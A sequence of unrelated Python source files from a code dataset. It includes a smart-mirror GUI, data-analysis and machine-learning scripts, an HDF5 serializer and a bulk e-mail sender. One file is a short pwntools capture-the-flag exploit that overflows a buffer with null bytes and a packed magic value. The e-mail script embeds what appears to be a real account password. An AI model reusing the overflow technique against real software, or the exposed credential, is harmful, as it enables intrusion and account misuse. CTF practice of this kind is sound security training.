self.news_tt.setFont(QFont(\"Helvetica\",28))\n        self.news_tt.move(50,600)\n        #标签-新闻爬虫\n        self.newsCont = QLabel(self)   \n        new = news.new()\n        self.newsCont.setText(new)\n        self.newsCont.setPalette(textCol)            \n        self.newsCont.setFont(QFont(\"Helvetica\",18))\n        self.newsCont.setGeometry(50, 650, 900, 30)\n        self.newsCont.move(50,650)\n        \n        #标签-Event\n        #标签Title-Event\n        self.memo = QLabel(self)  \n        self.memo.setText('备忘录')            \n        self.memo.setPalette(textCol)            \n        self.memo.setFont(QFont(\"Helvetica\",28))\n        self.memo.move(50,220)\n        #memodata\n        data_memo=memo.memo()\n        #memo-content\n        self.memoCont = QLabel(self)  \n        self.memoCont.setText(data_memo[2])            \n        self.memoCont.setPalette(textCol)            \n        self.memoCont.setFont(QFont(\"Helvetica\",18))\n        self.memoCont.move(50,300)\n        \n        \n        \n        #标签-烟雾\n        self.label15 = QLabel(self)  \n        yan=smoke.smoke()\n        self.label15.setText('烟雾:' + yan)            \n        self.label15.setPalette(textCol)            \n        self.label15.setFont(QFont(\"Helvetica\",18))\n        self.label15.move(460,710)\n        \n        \n        #标签Title-Schedule\n        self.sch_tt = QLabel(self)  \n        self.sch_tt.setText('课程表')            \n        self.sch_tt.setPalette(textCol)            \n        self.sch_tt.setFont(QFont(\"Helvetica\",28))\n        self.sch_tt.move(820,220)\n        #scheduledata\n        data_sch = schedule.schedule()\n        #schedule-first第一节\n        self.sch1 = QLabel(self)   \n        self.sch1.setText('第一节: ' +data_sch[0])\n        self.sch1.setPalette(textCol)            \n        self.sch1.setFont(QFont(\"Helvetica\",18))\n        self.sch1.move(720,300)\n        #schedule-second\n        self.sch2 = QLabel(self)\n        self.sch2.setText('第二节: ' +data_sch[1])\n        self.sch2.setPalette(textCol)            \n        self.sch2.setFont(QFont(\"Helvetica\",18))\n        self.sch2.move(720,340)\n        #schedule-third\n        self.sch3 = QLabel(self)   \n        self.sch3.setText('第三节: ' +data_sch[2])\n        self.sch3.setPalette(textCol)            \n        self.sch3.setFont(QFont(\"Helvetica\",18))\n        self.sch3.move(720,380)\n        #schedule-fourth\n        self.sch4 = QLabel(self)   \n        self.sch4.setText('第四节: '+data_sch[3])\n        self.sch4.setPalette(textCol)            \n        self.sch4.setFont(QFont(\"Helvetica\",18))\n        self.sch4.move(720,420)\n        #schedule-fifth\n        self.sch5 = QLabel(self)   \n        self.sch5.setText('第五节: '+data_sch[4])\n        self.sch5.setPalette(textCol)            \n        self.sch5.setFont(QFont(\"Helvetica\",18))\n        self.sch5.move(720,460)\n        \n        \n        #新建一个QTimer对象        \n        self.timer = QTimer()      \n        self.timer.setInterval(1000)       \n        self.timer.start()\n        # 信号连接到槽       \n        self.timer.timeout.connect(self.onTimerOut)\n        \n        \n        #绝对定位\n        self.setGeometry(0, 0, 1024, 768)\n        self.setWindowTitle('绝对定位')        \n        self.show()\n\n\n\n    #更新温度湿度\n    def update_wenshi(self, data):\n        print (data)\n        self.label3.setText('温度:'+data[1]+data[2] + '℃')\n        self.label4.setText('湿度:'+data[5]+data[6] + '%')\n    \n    #更新爬新闻\n    def update_news(self, data):\n        self.newsCont.setText(data)\n    '''\n    #更新Event\n    def update_event(self, data):\n        self.label14.setText(data)\n    '''\n    #更新smoke \n    def update_smoke(self, data):\n        self.label15.setText('烟雾:'+data)\n    \n    #close\n    def keyPressEvent(self, e):\n        if e.key() == Qt.Key_Escape:\n            self.close()\n    \n    #定义槽时间\n    def onTimerOut(self):\n        #text=round(ccxt.hx711read(),1)\n        #text=str(text)\n        #self.label.setText('体重:'+ text)\n        self.label1.setText(time.strftime(\"%H:%M\",time.localtime())) \n    \n\n\n#定义线程\nclass MyThread_wenshi(QThread):\n        update_date = pyqtSignal(str)  # pyqt5 支持python3的str，没有Qstring\n        def run(self):\n            while True:\n                text_wenshi=wenshidu.wenshi()\n                self.update_date.emit(str(text_wenshi))  # 发射信号\n                time.sleep(1)\n\n#线程爬新闻\nclass MyThread_news(QThread):  \n        update_date = pyqtSignal(str)  # pyqt5 支持python3的str，没有Qstring\n        def run(self):\n            newsHTML = requests.get(\"http://news.sina.com.cn/world/\")\n            newsHTML.encoding = \"utf-8\"\n            soup = BeautifulSoup(newsHTML.text,\"html.parser\")\n            for newsItem in soup.select(\".news-item\"):\n                if len(newsItem.select(\"h2\"))>0:\n                    title = newsItem.select(\"h2\")[0].text\n                    self.update_date.emit(title)  # 发射信号\n                    time.sleep(10)\n\n'''\nclass MyThread_event(QThread):\n        update_date = pyqtSignal(str)  # pyqt5 支持python3的str，没有Qstring\n        def run(self):\n            while True:\n                text_event=gaibianweightfile1.gexin()\n                self.update_date.emit(str(text_event))\n                time.sleep(1)\n'''\nclass MyThread_smoke(QThread):\n        update_date = pyqtSignal(str)  # pyqt5 支持python3的str，没有Qstring\n        def run(self):\n            while True:\n                text_smoke=smoke.smoke()\n                self.update_date.emit(str(text_smoke))  # 发射信号\n                time.sleep(1)\n       \n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = Example()\n    sys.exit(app.exec_())\n","sub_path":"MagicTeam-江科大-MMirror-智慧生活/树莓派代码/screen/STANDBY/lable.py","file_name":"lable.py","file_ext":"py","file_size_in_byte":10958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"42228866","text":"from pwn import *\n\n\ntarget = process('./pwn1')\n\ntarget.sendline(\"Sir Lancelot of Camelot\")\ntarget.sendline(\"To seek the Holy Grail\")\n\npayload = b\"\\x00\"*0x2b + p32(0xdea110c8)\n\n\ntarget.send(payload)\n\ntarget.interactive()\n","sub_path":"nightmare-challenges/speedrun/speedrunsploits/pwn1_sploit.py","file_name":"pwn1_sploit.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"226532700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan  4 14:26:52 2019\n\n@author: olive\n\"\"\"\n\n\n# =============================================================================\n# Import modules\n# =============================================================================\nimport pandas as pd\nimport sopls\nimport time\nimport numpy as np\n\n\n# =============================================================================\n# Load data, process data and prepare objects\n# =============================================================================\n\n# Load data into pandas dataframes\nA_df = pd.read_excel(\"A.xlsx\", index_col=0)\nB_df = pd.read_excel(\"B.xlsx\", index_col=0)\nC_df = pd.read_excel(\"C.xlsx\", index_col=0)\nD_df = pd.read_excel(\"D.xlsx\", index_col=0)\n\n\n# Check for missing values\nA_missing = A_df.isnull().values.any()\nB_missing = B_df.isnull().values.any() \nC_missing = C_df.isnull().values.any()\nD_missing = D_df.isnull().values.any()\n\n\n# Count missing values for individual variables\nA_missingCount_indVar = list(A_df.isnull().sum())\nB_missingCount_indVar = list(B_df.isnull().sum())\nC_missingCount_indVar = list(C_df.isnull().sum())\nD_missingCount_indVar = list(D_df.isnull().sum())\n\n\n# Count missing values in total for each block\nA_missingCount_all = A_df.isnull().sum().sum()\nB_missingCount_all = B_df.isnull().sum().sum()\nC_missingCount_all = C_df.isnull().sum().sum()\nD_missingCount_all = D_df.isnull().sum().sum()\n\n\n# Find rows and columns that contain missing data\nA_null = A_df[A_df.isnull().any(axis=1)]\nB_null = B_df[B_df.isnull().any(axis=1)]\nC_null = C_df[C_df.isnull().any(axis=1)]\nD_null = D_df[D_df.isnull().any(axis=1)]\nnull_df_list = [A_null, B_null, C_null, D_null]\n\n\n# Find rows across all blocks that contain missing data\nnull_indices_list = []\nfor null_df in null_df_list:\n    null_indices_list.extend(list(null_df.index))\nnull_rowID_list = list(set(null_indices_list))\n\n\n# Drop those rows that are missing across all blocks\nA_noMissing = A_df.drop(null_rowID_list)\nB_noMissing = B_df.drop(null_rowID_list)\nC_noMissing = C_df.drop(null_rowID_list)\nD_noMissing = D_df.drop(null_rowID_list)\n\n\n# Get numpy arrays for computation\nA = A_noMissing.values\nB = B_noMissing.values\nC = C_noMissing.values\nD = D_noMissing.values\n\n\n# Define name of blocks\nA_name = 'A'\nB_name = 'B'\nC_name = 'C'\nD_name = 'D'\n\n\n# Extract variable names of each block\nA_colNames = list(A_df.columns)\nB_colNames = list(B_df.columns)\nC_colNames = list(C_df.columns)\nD_colNames = list(D_df.columns)\n\n\n#\n## =============================================================================\n## Model CV: C <-- A + B\n## =============================================================================\n#\n## Check how long it takes to run the whole script. This captures the starting\n## time.\n#tStart = time.time()\n#\n#\n## Define in which order data arrays are fit in model and whether to use scaling\n#case = 2\n#\n## CASE 1: C <-- A\n#if case == 1:\n#    \n#    xblocksNames = [A_name]\n#    \n#    modCV = sopls.SOPLSCV(C, [A], Xcomps=[7], \\\n#            Xstand=[False], Ystand=False)\n#\n## CASE 2: C <-- A(fixed_comp) + B\n#if case == 2:\n#    \n#    xblocksNames = [A_name, B_name]\n#    \n#    modCV = sopls.SOPLSCV(C, [A, B], Xcomps=[2, 7], \\\n#            Xstand=[False, False], Ystand=False)\n#\n#\n## Access results from SO-PLS\n#results = modCV.results()\n#settings = modCV.modelSettings()\n#rmsecv = modCV.RMSECV()\n#\n## Compute how much time was used to run the code\n#tEnd = time.time()\n#\n#print\n#print('TOTAL TIME: ', tEnd - tStart, 'seconds')\n#print\n#\n#del tStart, tEnd\n#\n## Now plot the results in Maage plot\n#sopls.plotRMSEP(rmsecv)\n#\n\n# =============================================================================\n# Model: C <-- A + B\n# =============================================================================\n\n# Compute final model with selected components\nmod = sopls.SOPLS(C, [A, B], Xcomps=[2, 1], \\\n            Xstand=[False, False], Ystand=False)\n\n\n# For running 'plotSOPLS' a few parameters need to be predefined\nYvarNames = list(C_colNames)\nXblocksVarNames = [A_colNames, B_colNames]\nobjNames = list(A_noMissing.index)\nXblockNames = [A_name, B_name]\n\n\n# Plot model results\nsopls.plotSOPLS(mod, objNames, YvarNames, XblocksVarNames, XblockNames)\n\n\n# Since the model has only one component it is not possible to plot the \n# PCP plot. Hence, results are printed out as below.\nPCP_scores = mod.PCPscores()\n\nYcumCal = mod.Y_cumCalExplVar()\nYcumVal = mod.Y_cumValExplVar()\nprint()\nprint('Cum cal expl var:', np.round(YcumCal, 2))\nprint('Cum val expl var:', np.round(YcumVal, 2))\n\n\nYcumCal_ind = mod.Y_cumCalExplVar_indVar()\nYcumVal_ind = mod.Y_cumValExplVar_indVar()\nprint('\\nCum cal expl var ind:\\n', np.round(YcumCal_ind, 1))\nprint('\\nCum cal expl var ind:\\n', np.round(YcumVal_ind, 1))\n\n\n\n\n\n","sub_path":"src/legacy/SimulatedData/C--A-B.py","file_name":"C--A-B.py","file_ext":"py","file_size_in_byte":4771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"613115741","text":"from itertools import product\n\nimport numpy as np\nfrom numpy import nan\n\nfrom cascade.core import getLoggers\nfrom cascade.model.covariates import Covariate\nfrom cascade.model.dismod_groups import DismodGroups\nfrom cascade.model.model import Model\nfrom cascade.model.priors import DENSITY_ID_TO_PRIOR\nfrom cascade.model.smooth_grid import SmoothGrid\nfrom cascade.model.var import Var\n\nCODELOG, MATHLOG = getLoggers(__name__)\n\n\nclass SerializationError(Exception):\n    \"\"\"An error serializing data.\"\"\"\n\n\ndef write_var_group(hdf_group, dismod_group):\n    write_group(hdf_group, dismod_group, write_var)\n\n\ndef write_grid_group(hdf_group, dismod_group):\n    write_group(hdf_group, dismod_group, write_smooth_grid)\n\n\ndef write_group(hdf_group, dismod_group, writer):\n    \"\"\"\n    Writes a DismodGroups object into an HDF Group. Assumes that there\n    is nothing in the HDF Group. This arranges all the names within that\n    HDF Group.\n\n    Args:\n        hdf_group (h5py.Group): The HDF Group into which to write.\n        dismod_group (DismodGroups): The Dismod objects to write.\n        writer (function): This writes whatever is in the group\n    \"\"\"\n    for group_name, group in dismod_group.items():\n        for key, item in group.items():\n            if isinstance(key, str):\n                key_name = key\n                description = dict(dismod_group=group_name, key0=key, key1=None)\n            elif key[1] is None:\n                key_name = key[0]\n                description = dict(dismod_group=group_name, key0=key[0], key1=None)\n            else:\n                key_name = \"_\".join(str(k) for k in key)\n                description = dict(dismod_group=group_name, key0=key[0], key1=key[1])\n            name = f\"{group_name}_{key_name}\"\n            ds = writer(hdf_group, item, name)\n            # Add to the dataset the keys that DismodGroups uses to track\n            # each value.\n            for desc_key, desc_value in description.items():\n                if desc_value is not None:\n                    try:\n                        ds.attrs[desc_key] = desc_value\n                    except TypeError:\n                        raise RuntimeError(f\"Could not write {desc_value} as attr of type {type(desc_value)}\")\n\n\ndef read_var_group(hdf_group, groups=None):\n    return read_group(hdf_group, read_var, groups)\n\n\ndef read_grid_group(hdf_group, groups=None):\n    return read_group(hdf_group, read_smooth_grid, groups)\n\n\ndef read_group(hdf_group, reader, groups=None):\n    \"\"\"\n    Reads a DismodGroup of Var.\n\n    Args:\n        hdf_group (h5py.Group): The HDF Group into which to write.\n        reader (function): Reads whatever it is from the file.\n        groups (DismodGroups): A pre-existing DismodGroups.\n\n    Returns:\n        DismodGroups\n    \"\"\"\n    dismod_group = groups if groups else DismodGroups()\n    for group_name, group in dismod_group.items():\n        datasets = [ds_name for ds_name in hdf_group.keys() if ds_name.startswith(group_name)]\n        for ds_name in datasets:\n            ds = hdf_group[ds_name]\n            if \"dismod_group\" in ds.attrs:\n                key0 = ds.attrs[\"key0\"]\n                if \"key1\" in ds.attrs:\n                    try:\n                        key = (str(key0), int(ds.attrs[\"key1\"]))\n                    except ValueError:\n                        key = (str(key0), str(ds.attrs[\"key1\"]))\n                elif group_name == \"random_effect\":\n                    key = (str(key0), None)\n                else:  # Rate\n                    key = str(key0)\n                group[key] = reader(ds)\n    return dismod_group\n\n\ndef write_dimension(hdf_group, dim_type, values):\n    \"\"\"Given an HDF group, write a set of ages or times,\n    possibly sharing a set of ages or times that already exist.\"\"\"\n    # h5py recommends using S for arrays of fixed-size strings.\n    if isinstance(values, np.ndarray) and not np.issubdtype(values.dtype, np.number):\n        values = values.astype(\"S\")\n    else:\n        if len(values) > 0 and isinstance(values[0], str):\n            values = np.array(values, dtype=\"S\")\n        else:\n            values = np.array(values, dtype=np.float)\n\n    base_name = f\"{dim_type}{len(values)}\"\n    dim_idx = 0\n    dim_name = f\"{base_name}_{dim_idx}\"\n    while dim_name in hdf_group:\n        compare_axis = hdf_group[dim_name]\n        if np.issubdtype(values.dtype, np.number):\n            if np.allclose(values, compare_axis):\n                return compare_axis\n        elif np.all(values == compare_axis):\n            return compare_axis\n        dim_idx += 1\n        dim_name = f\"{base_name}_{dim_idx}\"\n\n    dim_value = hdf_group.create_dataset(dim_name, data=values)\n    return dim_value\n\n\ndef write_var(hdf_group, var, name):\n    \"\"\"Writes a var into an HDF group by writing an age, time, and\n    values datasets.\"\"\"\n    ages = var.ages\n    times = var.times\n\n    ds = hdf_group.create_dataset(name, (len(ages), len(times)), dtype=np.float)\n    for aidx, tidx in product(range(len(ages)), range(len(times))):\n        ds[aidx, tidx] = var[ages[aidx], times[tidx]]\n\n    for scale_idx, kind in enumerate([\"age\", \"time\"]):\n        dimension = write_dimension(hdf_group, kind, [ages, times][scale_idx])\n        ds.dims.create_scale(dimension, kind)\n        ds.dims[scale_idx].attach_scale(dimension)\n\n    ds.attrs[\"cascade_type\"] = \"Var\"\n    return ds\n\n\ndef read_var(ds):\n    if \"cascade_type\" not in ds.attrs or ds.attrs[\"cascade_type\"] != \"Var\":\n        raise SerializationError(f\"Expected {ds} to be a var\")\n\n    ages = ds.dims[0][0]\n    times = ds.dims[1][0]\n    var = Var(ages, times)\n    for aidx, tidx in product(range(ds.shape[0]), range(ds.shape[1])):\n        var[ages[aidx], times[tidx]] = ds[aidx, tidx]\n\n    return var\n\n\nPRIOR_KINDS = [\"value\", \"dage\", \"dtime\"]\nPRIOR_NAMES = [\"density\", \"mean\", \"std\", \"lower\", \"upper\", \"eta\", \"nu\"]\nDENSITY_TO_ID = {di.density: di_key for (di_key, di) in DENSITY_ID_TO_PRIOR.items()}\n\n\ndef write_smooth_grid(hdf_group, smooth_grid, name):\n    ages = smooth_grid.ages\n    times = smooth_grid.times\n\n    data = np.zeros((len(PRIOR_KINDS), len(ages), len(times), len(PRIOR_NAMES)), dtype=np.float)\n    for kind_idx, kind in enumerate([\"value\", \"dage\", \"dtime\"]):\n        one_prior = getattr(smooth_grid, kind).grid\n        for row_idx, row in one_prior.iterrows():\n            aidx = np.where(ages == row.age)[0]\n            tidx = np.where(times == row.time)[0]\n            density_id = DENSITY_TO_ID.get(row.density, nan)\n            to_write = [density_id, row[\"mean\"], row[\"std\"], row.lower, row.upper, row.eta, row.nu]\n            data[kind_idx, aidx, tidx, :] = to_write\n\n    ds = hdf_group.create_dataset(name, data=data)\n\n    # The dict is ordered, so this order is the same as the shape when\n    # calling create_dataset.\n    scales = dict(\n        prior_kind=PRIOR_KINDS,\n        age=ages,\n        time=times,\n        prior=PRIOR_NAMES,\n    )\n    for scale_idx, kind in enumerate(scales.keys()):\n        dimension = write_dimension(hdf_group, kind, scales[kind])\n        ds.dims.create_scale(dimension, kind)\n        ds.dims[scale_idx].attach_scale(dimension)\n\n    ds.attrs[\"cascade_type\"] = \"SmoothGrid\"\n    return ds\n\n\ndef read_smooth_grid(ds):\n    if ds.attrs[\"cascade_type\"] != \"SmoothGrid\":\n        raise SerializationError(f\"Expected {ds} to be a SmoothGrid\")\n\n    # The 1 and 2 change when the shape of create_dataset changes.\n    ages = ds.dims[1][0][:]\n    times = ds.dims[2][0][:]\n    smooth = SmoothGrid(ages, times)\n    for kind_idx, kind in enumerate(PRIOR_KINDS):\n        grid = getattr(smooth, kind).grid\n        for aidx, tidx in product(range(len(ages)), range(len(times))):\n            age = ages[aidx]\n            time = times[tidx]\n            to_set = dict(zip(PRIOR_NAMES, ds[kind_idx, aidx, tidx, :]))\n            try:\n                to_set[\"density\"] = DENSITY_ID_TO_PRIOR.get(int(to_set[\"density\"]), nan).density\n            except ValueError:\n                to_set[\"density\"] = None\n            grid.loc[(grid.age == age) & (grid.time == time), list(to_set.keys())] = to_set.values()\n\n    return smooth\n\n\ndef write_covariates(hdf_group, name, covariates):\n    \"\"\"Write covariates using a complex dtype.\"\"\"\n    longest = max(len(c.name) for c in covariates)\n    dt = np.dtype([(\"name\", np.bytes_, longest + 1), (\"reference\", np.float), (\"max_difference\", np.float)])\n    data = np.empty((len(covariates),), dtype=dt)\n    for write_idx, write_cov in enumerate(covariates):\n        if write_cov.max_difference is None:\n            max_diff = nan\n        else:\n            max_diff = write_cov.max_difference\n        data[write_idx] = (write_cov.name, write_cov.reference, max_diff)\n    hdf_group.create_dataset(name, data=data)\n\n\ndef read_covariates(hdf_group, name):\n    if name not in hdf_group:\n        return list()\n\n    # Each element of the row has name, ref, max_diff\n    # and each of those is an \"array scalar\" in numpy.\n    covariates = list()\n    for row in np.nditer(hdf_group[name]):\n        name = str(row[\"name\"].astype(\"U\"))\n        reference = float(row[\"reference\"])\n        max_difference = float(row[\"max_difference\"])\n        covariates.append(Covariate(name, reference, max_difference))\n    return covariates\n\n\ndef write_model(hdf_group, model):\n    priors = hdf_group.create_group(\"priors\")\n    write_grid_group(priors, model)\n    hdf_group.create_dataset(\"child_location\", data=model.child_location)\n    write_covariates(hdf_group, \"covariates\", model.covariates)\n    for weight_name, weight in model.weights.items():\n        write_var_group(hdf_group.create_group(f\"weight_{weight_name}\"), weight)\n\n    if model.scale_set_by_user and model.scale is not None:\n        write_var_group(hdf_group.create_group(\"scale\", model.scale))\n\n    hdf_group.attrs[\"nonzero_rates\"] = model.nonzero_rates\n    hdf_group.attrs[\"location_id\"] = model.location_id\n\n    hdf_group.attrs[\"cascade_type\"] = \"Model\"\n\n\ndef read_model(hdf_group):\n    if \"cascade_type\" not in hdf_group.attrs or hdf_group.attrs[\"cascade_type\"] != \"Model\":\n        raise SerializationError(f\"Expected a model for {hdf_group}\")\n\n    nonzero_rates = hdf_group.attrs[\"nonzero_rates\"]\n    parent_location = hdf_group.attrs[\"location_id\"]\n    children = hdf_group[\"child_location\"][:].tolist()\n    covariates = read_covariates(hdf_group, \"covariates\")\n    weight_names = [\"_\".join(w.split(\"_\")[1:]) for w in hdf_group if w.startswith(\"weight\")]\n    weights = dict()\n    for wn in weight_names:\n        weights[wn] = read_var_group(hdf_group[f\"weight_{wn}\"])\n\n    model = Model(nonzero_rates, parent_location, children, covariates, weights)\n    read_grid_group(hdf_group, model)\n    return model\n","sub_path":"src/cascade/serialize/hdf.py","file_name":"hdf.py","file_ext":"py","file_size_in_byte":10619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"386361059","text":"class CnnModel(ImageClassificationBase):\n    def __init__(self):\n        super().__init__()\n        self.network = nn.Sequential(\n            nn.Conv2d(3, 8, kernel_size=3, padding=1),\n            nn.ReLU(),\n            nn.Conv2d(8, 32, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2), # output: 32 x 128 x 128\n\n            nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2), # output: 64 x 64 x 64\n\n            nn.Flatten(), \n            nn.Linear(64*64*64, 512),\n            nn.ReLU(),\n            nn.Linear(512, 128),\n            nn.ReLU(),\n            nn.Linear(128, 32),\n            nn.ReLU(),\n            nn.Linear(32, 2))\n\n        \n        \n    def forward(self, xb):\n        return self.network(xb)","sub_path":"models/LeNet.py","file_name":"LeNet.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"415577307","text":"import keras\nfrom keras import models\nfrom keras import layers\nfrom keras.utils import to_categorical\nimport numpy as np\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.callbacks import EarlyStopping\n\nkomas = np.array([\n\tnp.load('./army/0_gyoku.npz')['arr_0'],\n\tnp.load('./army/1_kin.npz')['arr_0'],\n\tnp.load('./army/2_gin.npz')['arr_0'],\n\tnp.load('./army/3_kei.npz')['arr_0'],\n\tnp.load('./army/4_kyou.npz')['arr_0'],\n\tnp.load('./army/5_kaku.npz')['arr_0'],\n\tnp.load('./army/6_hisya.npz')['arr_0'],\n\tnp.load('./army/7_fu.npz')['arr_0']\n\t])\n\nou = np.load('./army/14_ou.npz')['arr_0']\ntrain_koma = ou[0:20000:40]\ntest_koma = ou[20000:24000:40]\ntrain_label = [0] * 500\ntest_label = [0] * 100\ni = 1\nfor koma in komas:\n\ttrain_label = train_label + [i] * 500\n\ttest_label = test_label + [i] * 100\n\ttrain_temp = koma[0:20000:40]\n\ttest_temp = koma[20000:24000:40]\n\ttrain_koma = np.vstack((train_koma,train_temp))\n\ttest_koma = np.vstack((test_koma,test_temp))\n\ti+=1\n\ntrain_koma = train_koma.astype('float32')\ntest_koma = test_koma.astype('float32')\ntrain_koma = train_koma/255.0\ntest_koma = test_koma/255.0\n\ntrain_label = to_categorical(train_label)\ntest_label = to_categorical(test_label)\n\n# CNNを構築\nmodel = Sequential()\n\nmodel.add(Conv2D(32, (3, 3), padding='same',\n                 input_shape=train_koma.shape[1:]))\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(32, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(Conv2D(64, (3, 3), padding='same'))\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(64, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\n\nmodel.add(Flatten())\nmodel.add(Dense(512))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(9))       # クラスは2個\nmodel.add(Activation('softmax'))\n\n# コンパイル\nmodel.compile(loss='categorical_crossentropy',\n              optimizer='SGD',\n              metrics=['accuracy'])\n\n# 実行。出力はなしで設定(verbose=0)。\nhistory = model.fit(train_koma, train_label, batch_size=5, epochs=5,\n                   validation_data = (test_koma, test_label), verbose = 1, callbacks=[EarlyStopping()])\n\nmodel_json_str = model.to_json()\nopen('kg.json', 'w').write(model_json_str)\nmodel.save_weights('kg.h5')\n","sub_path":"ishii_keras/train_ishii.py","file_name":"train_ishii.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"504544844","text":"import os\nimport pandas as pd\nimport email, smtplib, ssl\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport re\n\npd.set_option('display.max_columns', 0)\npd.set_option('display.max_rows', 0)\n\n\ndef split_df(args):\n    fname = args[0]\n    try:\n        df = pd.read_excel(fname)\n        # E-mail/CPF/Nome/Período do Curso\n        features_list = ['E-Mail', 'CPF', 'Nome']\n        print('')\n        print('file to split: ' + fname.split('/')[-1])\n        if \"Curso\" in df.columns:\n            print('spliting ...')\n            if not os.path.exists('splited_df'):\n                os.mkdir('splited_df')\n            for Curso in df.Curso.unique():\n                df[df['Curso'] == Curso][features_list].to_excel('splited_df/' + Curso + '.xlsx')\n                print('file save to: ' + Curso + '.xlsx')\n            print(str(len(df.Curso.unique())) + ' file(s) created')\n        else:\n            print('Coluna Curso nao encontrada')\n    except FileNotFoundError:\n        print('File not found')\n    except:\n        print('Something went wrong')\n\n\ndef fill_mail(sender_email, receiver_email, attachment, subject, body):\n    # Create a multipart message and set headers\n    message = MIMEMultipart()\n    message[\"From\"] = sender_email\n    message[\"To\"] = receiver_email\n    message[\"Subject\"] = subject\n    message[\"Bcc\"] = receiver_email  # Recommended for mass emails\n\n    # Add body to email\n    message.attach(MIMEText(body, \"plain\"))\n\n    file_path = attachment\n\n    if file_path != '':\n        filename = file_path.split(\"/\")[-1]\n        # open has a binary stream\n        with open(file_path, \"rb\") as attachment:\n            # Add file as application/octet-stream\n            # Email client can usually download this automatically as attachment\n            part = MIMEBase(\"application\", \"octet-stream\")\n            part.set_payload(attachment.read())\n\n        # Encode file in ASCII characters to send by email\n        encoders.encode_base64(part)\n\n        # Add header as key/value pair to attachment part\n        part.add_header(\n            \"Content-Disposition\",\n            f\"attachment; filename= {filename}\",\n        )\n        # Add attachment to message and convert message to string\n        message.attach(part)\n\n    text = message.as_string()\n    return text\n\n\ndef dispatch_email_from_df(args):\n    fname = args[0]\n    print(str(fname.split('/')[-1]) + \" selecionado\")\n    try:\n        df = pd.read_excel(fname)\n        # henrique_pedro@id.uff.br\n        # Log in to server using secure context and send email\n        username = str(input(\"email: \"))\n        password = \"njmrtbutmennrekn\"\n        subject = \"An email with attachment from Python\"\n        body = \"This is an email with attachment sent from Python\"\n        # subject = input(\"assunto: \")\n        # body = input(\"corpo: \")\n        #print('select attachment: ')\n        #attachment = fd.askopenfilename()\n        if len(args) > 1:\n            attachment = args[1]\n        else:\n            attachment = ''\n        user = {\n            \"username\": username,\n            \"pass\": password\n        }\n        context = ssl.create_default_context()\n        with smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n            if not is_valid(user[\"username\"]):\n                print(\"Invalid Email\")\n                raise Exception()\n            server.login(user[\"username\"], user['pass'])\n\n            to_send = []\n            if 'E-Mail' in df.columns:\n                for email in df['E-Mail'].values:\n                    if is_valid(email):\n                        to_send.append(email)\n            else:\n                print(\"email column not found\")\n                to_send = None\n            not_send = []\n            for email in to_send:\n                try:\n                    server.sendmail(user['username'], email,\n                                    fill_mail(user['username'], email, attachment, subject, body))\n                    print(\"mail sent to \" + email)\n                except:\n                    print(\"exception occurred mail to \" + email + \" not send\")\n                    not_send.append(email)\n\n    except FileNotFoundError:\n        print('File not found')\n    except:\n        print('Something went wrong')\n\n\ndef is_valid(email):\n    if type(email) == str:\n        if re.search(r\"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)\", email):\n            return True\n        else:\n            return False\n    else:\n        return False\n","sub_path":"df_splitter.py","file_name":"df_splitter.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"426592524","text":"from bs4 import bs4expand as ex\r\n\r\n#예시1 \r\nx,y = ex.to_text(\"https://github.com/\") # 가장 먼저 사용해야함. 리스트 반환 \r\nex.set_word(\"python\") #찾고싶은 단어를 초기화. \r\nn = ex.count_word(x) #단어의 빈도수를 반환 . \r\nprint(n)\r\n\r\n#예시2\r\nli = ex.search_deeper(y)\r\nurl_contain_word =ex.show_page_include_word(y) \r\nprint(url_contain_word)\r\n\r\n#예시3\r\nex.html_link_file(y,url_contain_word) \r\nex.image_take(\"https://github.com/\")\r\n\r\n# #예시4 \r\n# s = ex.make_set_of_word(\"\") #페이지에 대한 간단한 분석 리턴 \r\n# print(s)\r\n\r\n#https://www.goldmansachs.com/ \r\n#https://www.nature.com/\r\n#https://stackoverflow.com/\r\n\r\n#bs4활용 크롤링 기능. \r\nex.main()","sub_path":"bs4/testme.py","file_name":"testme.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
